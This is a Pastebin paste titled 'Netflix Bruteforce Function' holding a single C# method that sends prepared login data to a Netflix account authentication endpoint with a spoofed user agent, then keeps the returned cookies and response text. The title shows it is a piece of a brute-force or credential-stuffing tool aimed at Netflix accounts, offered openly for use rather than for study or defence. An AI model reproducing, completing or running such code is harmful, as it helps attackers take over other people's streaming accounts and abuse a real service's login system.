MrMcShroom

Netflix Bruteforce Function

Jun 6th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.61 KB | None | 0 0
  1. public void login()
  2.         {
  3.             try
  4.             {
  5.                 CookieContainer cookieContainer = new CookieContainer();
  6.                 UTF8Encoding uTF8Encoding = new UTF8Encoding();
  7.                 byte[] bytes = uTF8Encoding.GetBytes(this.postdata);
  8.                 HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://api-global.n...m/account/auth");
  9.                 httpWebRequest.Method = "POST";
  10.                 httpWebRequest.KeepAlive = true;
  11.                 httpWebRequest.Accept = "*/*";
  12.                 httpWebRequest.ContentType = "text/xml; charset=utf-8";
  13.                 httpWebRequest.UserAgent = " Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 4.0.30319.17929)";
  14.                 httpWebRequest.ContentLength = (long)bytes.Length;
  15.                 Stream requestStream = httpWebRequest.GetRequestStream();
  16.                 requestStream.Write(bytes, 0, bytes.Length);
  17.                 requestStream.Close();
  18.                 HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
  19.                 this.postcookie.Add(httpWebResponse.Cookies);
  20.                 StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream());
  21.                 this.str1 = streamReader.ReadToEnd();
  22.                 streamReader.Close();
  23.             }
  24.             catch (Exception expr_CE)
  25.             {
  26.                 ProjectData.SetProjectError(expr_CE);
  27.                 Exception ex = expr_CE;
  28.                 this.str1 = "error" + ex.ToString();
  29.                 ProjectData.ClearProjectError();
  30.             }
  31.         }
Add Comment
Please, Sign In to add comment